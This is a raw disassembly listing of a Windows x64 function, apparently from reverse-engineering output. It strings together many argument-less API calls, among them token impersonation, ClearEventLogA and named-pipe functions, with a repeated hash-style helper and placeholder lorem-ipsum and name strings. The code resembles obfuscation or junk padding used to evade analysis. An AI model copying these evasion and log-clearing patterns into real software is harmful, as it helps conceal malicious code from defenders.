mov rsi, qword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
xor ecx, ecx
call rsi
mov rax, qword [0x004cc1f0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cbdf0]
mov dword [rax], edx
mov rax, qword [0x004cbdc0]
mov dword [rax], 0x77e62635
mov rax, qword [0x004cc460]
mov edx, dword [rax]
mov rax, qword [0x004cbba0]
mov dword [rax], edx
mov rax, qword [0x004cbe50]
mov edx, dword [rax]
mov rax, qword [0x004cbd80]
mov dword [rax], edx
mov rax, qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
xor edx, edx
mov qword [rsp + 0x50], rax
call rax
mov rax, qword [0x004cc1f0]
mov ecx, 0xec387317
mov dword [rax], 0xa3d9fd52
call fcn.00413350
lea rcx, str.Atque_temporibus_at_cum_doloribus_voluptatibus_sequi_iusto
mov dword [rdi], eax
mov rax, qword [0x004cc140]
mov dword [rax], 0x2682702e
mov rax, qword [0x004cbd00]
mov edx, dword [rax]
mov rax, qword [0x004cbe20]
mov dword [rax], edx
mov rax, qword [0x004cc160]
xor edx, edx
mov dword [rax], 0x477f52d8
call rbx
xor ecx, ecx
call rsi
mov rax, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x30], rax
call rax
mov ecx, 0x5c23d08b
call fcn.00413350
mov rdx, qword [0x004cc450]
mov dword [rdx], eax
mov rax, qword [0x004cbe90]
mov ecx, dword [rax]
call fcn.00413350
mov rdi, qword [0x004cc210]
mov r12, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
mov dword [rdi], eax
mov rax, qword [0x004cc100]
mov dword [rax], 0x5cbd5007
call r12
xor edx, edx
lea rcx, str.TateKuphal
call rbx
mov rax, qword [0x004cbe00]
mov rdi, qword [0x004cbc20]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [sym.imp.KERNEL32.dll_SetLastError]
mov qword [rsp + 0x58], rax
call rax
mov rax, qword [0x004cc180]
xor ecx, ecx
mov dword [rax], 0x7fbaa2ab
mov rax, qword [0x004cc310]
mov edx, dword [rax]
mov rax, qword [0x004cc0e0]
mov dword [rax], edx
mov rax, qword [0x004cc340]
mov dword [rax], 0xdb11b97a
call qword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
mov rax, qword [0x004cc080]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cc1c0]
mov dword [rax], edx
mov rax, qword [sym.imp.KERNEL32.dll_PurgeComm]
xor edx, edx
mov qword [rsp + 0x60], rax
call rax
mov rax, qword [0x004cc470]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cbed0]
mov dword [rax], edx
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov qword [rsp + 0x68], rax
call rax
xor ecx, ecx
call r12
mov rax, qword [0x004cbc40]
mov rdi, qword [0x004cbdb0]
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004cc0a0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc3a0]
mov ecx, 0xad2293b6
mov dword [rdx], eax
mov rax, qword [0x004cbc10]
mov dword [rax], 0x2c886def
mov rax, qword [0x004cc1d0]
mov edx, dword [rax]
mov rax, qword [0x004cc350]
mov dword [rax], edx
call fcn.00413350
mov r8, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov rdx, qword [0x004cc2c0]
lea rcx, str.Illum_consectetur_adipisci_nobis_tenetur_rerum_aliquid_dolore_non_placeat_perferendis_sunt
mov qword [rsp + 0x70], r8
mov dword [rdx], eax
lea rdx, str.Molestiae_tempora_error_libero_et_vero_consequatur_dolor_omnis_laboriosam_aspernatur
call r8
xor ecx, ecx
call r14
mov rax, qword [0x004cbc50]
mov r13, qword [0x004cc3b0]
mov ecx, 0x90dbeab3
mov eax, dword [rax]
mov dword [r13], eax
call fcn.00413350
xor edx, edx
xor ecx, ecx
mov dword [r13], eax
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [0x004cbc20]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc230]
mov r8, qword [rsp + 0x70]
lea rcx, str.Nisi_consequatur_illo_molestiae_commodi_iste_similique_harum_commodi_ut_officia
mov dword [rdx], eax
lea rdx, str.Labore_sed_sed_ut_eos
call r8
mov r13, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
call r13
mov ecx, 0x861eb6c7
call fcn.00413350
mov rcx, qword [0x004cbd70]
mov dword [rcx], eax
xor ecx, ecx
mov rax, qword [rsp + 0x48]
call rax
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x30]
call rax
mov ecx, 0x608f5395
call fcn.00413350
mov rdx, qword [0x004cbe70]
mov r8, qword [rsp + 0x70]
lea rcx, str.Provident_ut_est_sapiente_aut_vel_minus_occaecati_qui_id_non
mov dword [rdx], eax
mov rax, qword [0x004cc330]
mov rdx, qword [0x004cc320]
mov eax, dword [rax]
mov dword [rdx], eax
lea rdx, str.DrAmericaBatz
call r8
mov r11, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x88], r11
call r11
mov r10, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor edx, edx
lea rcx, str.AllenPurdy
mov qword [rsp + 0x80], r10
call r10
xor ecx, ecx
lea rdx, str.Totam_est_qui_eligendi_temporibus_architecto_quis_animi_voluptatibus_iste_delectus_qui_qui
call rbp
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r15
mov r9, qword [sym.imp.KERNEL32.dll_OpenEventA]
xor edx, edx
xor ecx, ecx
lea r8, str.AllanCollins
mov qword [rsp + 0x78], r9
call r9
mov rax, qword [0x004cbe80]
mov rcx, qword [0x004cc4a0]
mov edx, dword [rax]
mov rax, qword [0x004cc490]
mov dword [rax], edx
mov rax, qword [0x004cbbf0]
mov edx, dword [rax]
mov rax, qword [0x004cbbd0]
mov dword [rax], edx
mov eax, dword [rdi]
lea rdx, str.Ducimus_accusamus_et
mov dword [rcx], eax
xor ecx, ecx
call rbp
xor ecx, ecx
call r12
mov rax, qword [0x004cbc70]
xor ecx, ecx
mov dword [rax], 0xecc87cf8
mov rax, qword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
mov qword [rsp + 0x70], rax
call rax
mov rax, qword [0x004cc210]
mov dword [rax], 0x5a93065e
mov rax, qword [0x004cc2f0]
mov edx, dword [rax]
mov rax, qword [0x004cc380]
mov dword [rax], edx
mov rax, qword [0x004cc1d0]
mov ecx, dword [rax]
call fcn.00413350
xor ecx, ecx
mov dword [rdi], eax
mov rax, qword [0x004cc2c0]
mov dword [rax], 0x84268aa7
call r14
mov rax, qword [0x004cc190]
mov rdx, qword [0x004cbdc0]
xor ecx, ecx
mov dword [rax], 0xd6da037c
mov rax, qword [0x004cc180]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [rsp + 0x58]
call rax
lea rdx, str.MrsHerthaTorpV
xor ecx, ecx
call rbp
xor ecx, ecx
mov rax, qword [rsp + 0x48]
call rax
xor ecx, ecx
xor edx, edx
mov rax, qword [rsp + 0x50]
call rax
xor edx, edx
mov rax, qword [rsp + 0x30]
xor ecx, ecx
call rax
mov rax, qword [0x004cc300]
mov rcx, qword [0x004cbc50]
lea rdx, str.MeganeStokes
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call rbp
xor ecx, ecx
call r13
mov rax, qword [0x004cc3e0]
mov rbp, qword [0x004cbea0]
xor ecx, ecx
mov dword [rax], 0x22fa7b9f
mov rax, qword [0x004cbd20]
mov dword [rbp], 0x138396f0
mov edx, dword [rax]
mov rax, qword [0x004cc200]
mov dword [rax], edx
mov rax, qword [0x004cbec0]
mov rdx, qword [0x004cc100]
mov dword [rax], 0xfab0afb6
mov rax, qword [0x004cc190]
mov eax, dword [rax]
mov dword [rdx], eax
call r13
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
xor ecx, ecx
call rsi
xor ecx, ecx
mov rax, qword [rsp + 0x68]
call rax
mov r10, qword [rsp + 0x80]
xor edx, edx
lea rcx, str.Qui_minima_ipsam_sit_dicta_quae_consequatur_debitis_non_et
call r10
mov rax, qword [0x004cc070]
mov ecx, 0xf025a106
mov dword [rax], 0x40ddb11
call fcn.00413350
mov rcx, qword [0x004cc330]
mov dword [rcx], eax
mov rax, qword [0x004cc4a0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [str._mf]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [rsp + 0x68]
call rax
mov rax, qword [0x004cc0d0]
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004cbd70]
mov dword [rax], 0xb0dc8156
mov rax, qword [0x004cc420]
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
call r15
mov rax, qword [0x004cbdc0]
lea rdx, str.Sequi_quo_quibusdam_eveniet_ipsam
lea rcx, str.Iusto_consequatur_sit_in_saepe_cum_dignissimos_quo
mov dword [rax], 0x2a81ccaf
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov rax, qword [0x004cbcc0]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xefcd78fb
mov rax, qword [rsp + 0x30]
call rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r15
mov ecx, 0x15ddec5f
mov dword [rbp], 0x62f3b643
call fcn.00413350
mov rdx, qword [0x004cbd40]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cc1f0]
mov edx, dword [rax]
mov rax, qword [0x004cbbc0]
mov dword [rax], edx
call rsi
xor ecx, ecx
call r14
xor edx, edx
lea rcx, str.BessieLangosh
call rbx
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
mov r9, qword [rsp + 0x78]
lea r8, str.KevinMorissette
xor edx, edx
xor ecx, ecx
call r9
mov rax, qword [0x004cbe50]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdi], eax
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [0x004cbc00]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cc390]
mov dword [rax], edx
call r12
mov rax, qword [0x004cc340]
mov rcx, qword [0x004cc320]
mov eax, dword [rax]
mov dword [rcx], eax
mov ecx, dword [rdi]
call fcn.00413350
mov rdi, qword [0x004cbdc0]
xor edx, edx
lea rcx, str.AmandaRobel
mov dword [rdi], eax
call rbx
mov rax, qword [0x004cbd50]
xor edx, edx
lea rcx, str.Sed_consectetur_quia_unde
mov dword [rax], 0xc179e667
call rbx
xor ecx, ecx
mov rax, qword [rsp + 0x70]
call rax
xor ecx, ecx
call rsi
mov rax, qword [rsp + 0x58]
xor ecx, ecx
call rax
mov rax, qword [0x004cc0a0]
xor edx, edx
xor ecx, ecx
mov r11, qword [rsp + 0x88]
mov dword [rax], 0xc2fd0637
mov rax, qword [0x004cc460]
mov dword [rax], 0x7d35c127
call r11
mov rax, qword [rsp + 0x118]
mov r8, qword [rsp + 0x40]
lea rdx, [rsp + 0x90]
mov rcx, qword [rsp + 0x110]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x90], xmm0
mov rax, qword [rax + 0x10]
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0xa0], rax
call fcn.00401560
mov rax, qword [0x004cc250]
cmp dword [rax], 0x4406
jne 0x40535d
mov ecx, 0xb2599161
call fcn.00413350
mov rsi, qword [0x004cbd70]
xor edx, edx
lea rcx, str.Dolor_qui_omnis_voluptatem_quia_quod_cumque_nulla
mov dword [rsi], eax
mov rax, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
mov qword [rsp + 0x30], rax
call rax
mov r13, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.Aliquam_consequatur_porro_ea_non_itaque_qui_laudantium_quis
lea rcx, str.KatlynBaumbach
call r13
mov r12, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
call r12
mov rax, qword [str._mf]
mov rsi, qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
lea rdx, str.Repudiandae_dolorem_omnis_dicta_vel_repellendus_aut_eligendi_est_ipsum_totam_quo_dicta
lea rcx, str.ProfMckennaBuckridgeV
mov dword [rax], 0xde62f8eb
call rsi
mov rax, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x40], rax
call rax
mov r11, qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x48], r11
call r11
xor r8d, r8d
mov rbx, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [0x004cc3d0]
mov r11, qword [rsp + 0x48]
xor ecx, ecx
mov dword [rax], 0x34e7f533
mov rax, qword [0x004cbed0]
mov qword [rsp + 0x80], r11
mov edx, dword [rax]
mov rax, qword [0x004cbe50]
mov dword [rax], edx
xor edx, edx
call r11
mov rax, qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
xor edx, edx
lea rcx, str.Quasi_odit_consequatur_doloribus
mov qword [rsp + 0x48], rax
call rax
mov ecx, 0xc8e0b5cb
call fcn.00413350
mov rdi, qword [0x004cc440]
xor ecx, ecx
mov r15, qword [0x004cc1d0]
mov rbp, qword [0x004cc380]
mov r14, qword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [rdi], eax
mov rax, qword [0x004cc360]
mov rdi, qword [0x004cc180]
mov dword [rbp], 0xf77cb4b7
mov eax, dword [rax]
mov dword [r15], eax
mov rax, qword [0x004cc240]
mov eax, dword [rax]
mov dword [rdi], eax
call r14
mov rax, qword [0x004cc320]
mov rdi, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
mov dword [rax], 0x43fda636
call rdi
mov rax, qword [sym.imp.ADVAPI32.dll_ClearEventLogA]
xor ecx, ecx
lea rdx, str.MrWiltonVandervortV
mov qword [rsp + 0x50], rax
call rax
lea rdx, str.MissTheodoraHamillMD
lea rcx, str.RickieLueilwitz
call r13
mov rax, qword [0x004cc4d0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc0e0]
xor ecx, ecx
mov dword [rdx], eax
mov edx, dword [r15]
mov rax, qword [0x004cc0c0]
mov dword [rax], edx
mov edx, dword [rbp]
mov rax, qword [0x004cc110]
mov dword [rax], edx
call r14
mov rax, qword [0x004cbd80]
mov ecx, 0x533a4194
mov dword [rax], 0xa81e1b45
call fcn.00413350
mov rcx, qword [str._mf]
mov dword [rcx], eax
mov rax, qword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
xor ecx, ecx
mov qword [rsp + 0x58], rax
call rax
mov rax, qword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
xor ecx, ecx
mov qword [rsp + 0x60], rax
call rax
mov r10, qword [sym.imp.ADVAPI32.dll_RegFlushKey]
xor ecx, ecx
mov qword [rsp + 0x68], r10
call r10
mov rax, qword [0x004cc1c0]
lea rdx, str.Magni_mollitia_beatae_atque
lea rcx, str.Debitis_facilis_quas_ex_illo_impedit
mov dword [rax], 0xa14a4857
call rsi
mov rax, qword [0x004cbe90]
mov ecx, 0x976e4e15
mov dword [rax], 0x600e7008
call fcn.00413350
mov rdx, qword [0x004cbdc0]
mov rbp, qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
mov dword [rdx], eax
call rbp
mov rax, qword [0x004cbc20]
mov r10, qword [rsp + 0x68]
xor ecx, ecx
mov dword [rax], 0xcca5b6c5
mov rax, qword [0x004cc2d0]
mov qword [rsp + 0x78], r10
mov dword [rax], 0xc40bd811
call r10
mov rax, qword [0x004cc070]
mov ecx, dword [rax]
call fcn.00413350
mov r15, qword [0x004cc2c0]
mov ecx, 0x7faebfc7
mov dword [r15], eax
call fcn.00413350
mov rdx, qword [0x004cbea0]
mov ecx, 0xf157e15
mov dword [rdx], eax
mov rax, qword [0x004cbd30]
mov dword [rax], 0xc2052935
mov rax, qword [0x004cbe20]
mov dword [rax], 0x790de22a
call fcn.00413350
mov rcx, qword [0x004cc3b0]
mov dword [rcx], eax
mov rax, qword [0x004cbd50]
mov ecx, 0x59642baa
mov edx, dword [rax]
mov rax, qword [0x004cbc40]
mov dword [rax], edx
mov rax, qword [0x004cc370]
mov dword [rax], 0xa3318d3
call fcn.00413350
mov rdx, qword [0x004cbd20]
xor ecx, ecx
mov dword [rdx], eax
lea rdx, str.IsaiasDonnelly
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [str._mf]
mov ecx, 0x67d52e88
mov dword [rax], 0xfb278581
call fcn.00413350
mov rdx, qword [0x004cc050]
xor ecx, ecx
mov dword [rdx], eax
call rdi
mov rax, qword [0x004cc410]
xor ecx, ecx
mov dword [rax], 0x50d3a79d
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
mov qword [rsp + 0x68], rax
call rax
mov rax, qword [0x004cbe90]
mov dword [rax], 0x4ec75eba
mov rax, qword [0x004cbe80]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc200]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [rsp + 0x58]
call rax
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x40]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
mov edx, dword [r15]
mov rax, qword [0x004cc4c0]
xor ecx, ecx
mov dword [rax], edx
call rdi
mov r9, qword [sym.imp.KERNEL32.dll_OpenEventA]
xor edx, edx
xor ecx, ecx
lea r8, str.Sed_tempora_architecto_est_asperiores_ut
mov qword [rsp + 0x70], r9
call r9
xor ecx, ecx
call r14
mov ecx, 0xaf7ce9cb
call fcn.00413350
mov rdx, qword [0x004cc090]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cc4b0]
mov dword [rax], 0xc52fe1a2
mov rax, qword [0x004cbec0]
mov edx, dword [rax]
mov rax, qword [0x004cbdf0]
mov dword [rax], edx
xor edx, edx
mov rax, qword [rsp + 0x40]
call rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [0x004cbc00]
mov rcx, qword [0x004cbe70]
mov eax, dword [rax]
mov dword [rcx], eax
mov rax, qword [0x004cc0e0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc400]
mov r15, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cc4a0]
xor edx, edx
mov dword [rax], 0xb68df774
mov rax, qword [0x004cc220]
mov dword [rax], 0xcf82918a
call r15
xor edx, edx
lea rcx, str.Possimus_dignissimos_porro_molestiae_nostrum_et
mov rax, qword [rsp + 0x30]
call rax
mov r11, qword [rsp + 0x80]
xor edx, edx
xor ecx, ecx
call r11
mov rax, qword [0x004cc210]
mov ecx, 0xde10ea52
mov dword [rax], 0xe38608b8
mov rax, qword [0x004cc440]
mov dword [rax], 0x4b732534
call fcn.00413350
mov rdx, qword [0x004cbe10]
mov dword [rdx], eax
mov rax, qword [0x004cbd60]
mov ecx, dword [rax]
call fcn.00413350
mov rcx, qword [0x004cc400]
xor edx, edx
mov dword [rcx], eax
xor ecx, ecx
call r15
mov rax, qword [0x004cc0d0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cc190]
mov dword [rax], edx
call r12
mov rax, qword [0x004cbd30]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbbe0]
lea rcx, str.LennaCarrollMD
mov dword [rdx], eax
xor edx, edx
mov rax, qword [rsp + 0x30]
call rax
mov r15, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
call r15
mov rax, qword [0x004cc410]
xor ecx, ecx
mov dword [rax], 0x91e16321
mov rax, qword [0x004cc360]
mov dword [rax], 0xaf2558f5
mov rax, qword [0x004cbd30]
mov edx, dword [rax]
mov rax, qword [0x004cc460]
mov dword [rax], edx
call r14
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [0x004cbd70]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbd80]
lea rcx, str.StanleyHilpert
mov dword [rdx], eax
lea rdx, str.ThaddeusBodeII
call rsi
mov r10, qword [rsp + 0x78]
xor ecx, ecx
call r10
xor edx, edx
xor ecx, ecx
mov r14, qword [sym.imp.KERNEL32.dll_PurgeComm]
call r14
mov ecx, 0x8b297931
call fcn.00413350
mov rcx, qword [0x004cbc50]
lea rdx, str.AudreanneRunolfsson
mov dword [rcx], eax
lea rcx, str.Iste_temporibus_vitae_fugit_consequatur_eveniet_ut_ipsum
call r13
lea rdx, str.SerenityGibson
lea rcx, str.Magnam_vel_consequatur_odit_animi_sunt_et
call r13
mov rax, qword [0x004cc1b0]
mov rdx, qword [0x004cbe70]
mov rcx, qword [0x004cc3b0]
mov dword [rax], 0x176fa65c
mov rax, qword [0x004cc410]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cc0b0]
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call r12
xor ecx, ecx
call rbp
mov rax, qword [0x004cc2d0]
mov r9, qword [rsp + 0x70]
xor edx, edx
lea r8, str.Velit_unde_odio_omnis_dolorem_eius_et
xor ecx, ecx
mov dword [rax], 0xed4693b6
call r9
mov rax, qword [0x004cc310]
mov ecx, dword [rax]
call fcn.00413350
mov r13, qword [0x004cc330]
lea rcx, str.Ut_error_quia_inventore_optio_occaecati
mov dword [r13], eax
mov rax, qword [0x004cbe60]
mov edx, dword [rax]
mov rax, qword [0x004cbbf0]
mov dword [rax], edx
lea rdx, str.Aut_est_aut_repellat_sapiente_temporibus_deserunt
call rsi
mov rax, qword [0x004cbbd0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cc170]
mov dword [rax], edx
call r12
xor edx, edx
lea rcx, str.Vitae_quasi_rem_vero_numquam
mov rax, qword [rsp + 0x48]
call rax
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
xor edx, edx
lea rcx, str.Error_similique_doloribus
mov rax, qword [rsp + 0x48]
call rax
mov rax, qword [0x004cc0e0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc3e0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cc180]
mov dword [rax], 0xc3e2f2ab
call qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
mov rax, qword [0x004cc360]
mov ecx, 0x6f2c0a9d
mov rdx, qword [0x004cc240]
mov eax, dword [rax]
mov dword [rdx], eax
call fcn.00413350
mov rcx, qword [0x004cc2d0]
mov r12, qword [0x004cbc60]
xor edx, edx
xor r8d, r8d
mov dword [rcx], eax
xor ecx, ecx
mov dword [r12], 0xbce26837
call rbx
xor ecx, ecx
call rbp
mov ecx, 0xb57d983
call fcn.00413350
mov rdx, qword [0x004cbd90]
xor ecx, ecx
mov dword [rdx], eax
call r15
mov r9, qword [rsp + 0x70]
xor edx, edx
xor ecx, ecx
lea r8, str.Eum_aliquam_assumenda_sapiente_quia_non_aliquid
call r9
xor edx, edx
xor ecx, ecx
call r14
mov rax, qword [0x004cc360]
xor ecx, ecx
mov dword [rax], 0x9c2f5300
mov rax, qword [rsp + 0x58]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x68]
call rax
mov rax, qword [0x004cbe30]
mov ecx, 0x506f44ff
mov dword [rax], 0x6efb2e3b
call fcn.00413350
xor edx, edx
mov dword [r13], 0x8212cf52
xor ecx, ecx
mov dword [r12], eax
mov rax, qword [0x004cc4b0]
mov dword [rax], 0xf066c143
mov rax, qword [rsp + 0x40]
call rax
mov rax, qword [0x004cbd50]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x29b64722
call rbx
xor edx, edx
lea rcx, str.RosellaOConnerDDS
mov rax, qword [rsp + 0x48]
call rax
mov rax, qword [0x004cbe80]
mov rdx, qword [0x004cbed0]
mov ecx, 0xb6486ef
mov eax, dword [rax]
mov dword [rdx], eax
call fcn.00413350
mov rdx, qword [0x004cc2f0]
xor ecx, ecx
mov dword [rdx], eax
call rdi
mov rax, qword [0x004cbce0]
xor ecx, ecx
mov dword [rax], 0xe2121292
mov rax, qword [0x004cbea0]
mov dword [rax], 0x49173c8f
mov rax, qword [str._mf]
mov edx, dword [rax]
mov rax, qword [0x004cbc10]
mov dword [rax], edx
call rbp
mov ecx, 0xccf64725
call fcn.00413350
mov rcx, qword [0x004cbe20]
mov dword [rcx], eax
mov rax, qword [0x004cbcb0]
xor ecx, ecx
mov dword [rax], 0x6d0a8841
call rdi
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rbx
xor edx, edx
lea rcx, str.MrStevieSengerMD
mov rax, qword [rsp + 0x30]
call rax
mov ecx, 0xdefdd0b2
call fcn.00413350
mov rbx, qword [0x004cc200]
xor ecx, ecx
lea rdx, str.Eius_necessitatibus_sit_est_qui_qui_voluptatem_ratione_quisquam
mov dword [rbx], eax
mov rax, qword [str._mf]
mov dword [rax], 0xcff9c21c
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [0x004cbeb0]
mov ecx, 0x22cc7f46
mov edx, dword [rax]
mov rax, qword [0x004cc080]
mov dword [rax], edx
call fcn.00413350
mov rdx, qword [0x004cc1e0]
xor ecx, ecx
mov dword [rdx], eax
call r15
mov rax, qword [0x004cc150]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbd40]
mov ecx, 0x462620a4
mov dword [rdx], eax
call fcn.00413350
mov rdx, qword [0x004cbcf0]
lea rcx, str.ZackerySauer
mov dword [rdx], eax
lea rdx, str.GeneDuBuque
call rsi
mov rax, qword [0x004cc4d0]
mov rsi, qword [0x004cbc50]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rsi], eax
mov rax, qword [rsp + 0x68]
call rax
nop
add rsp, 0xc8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret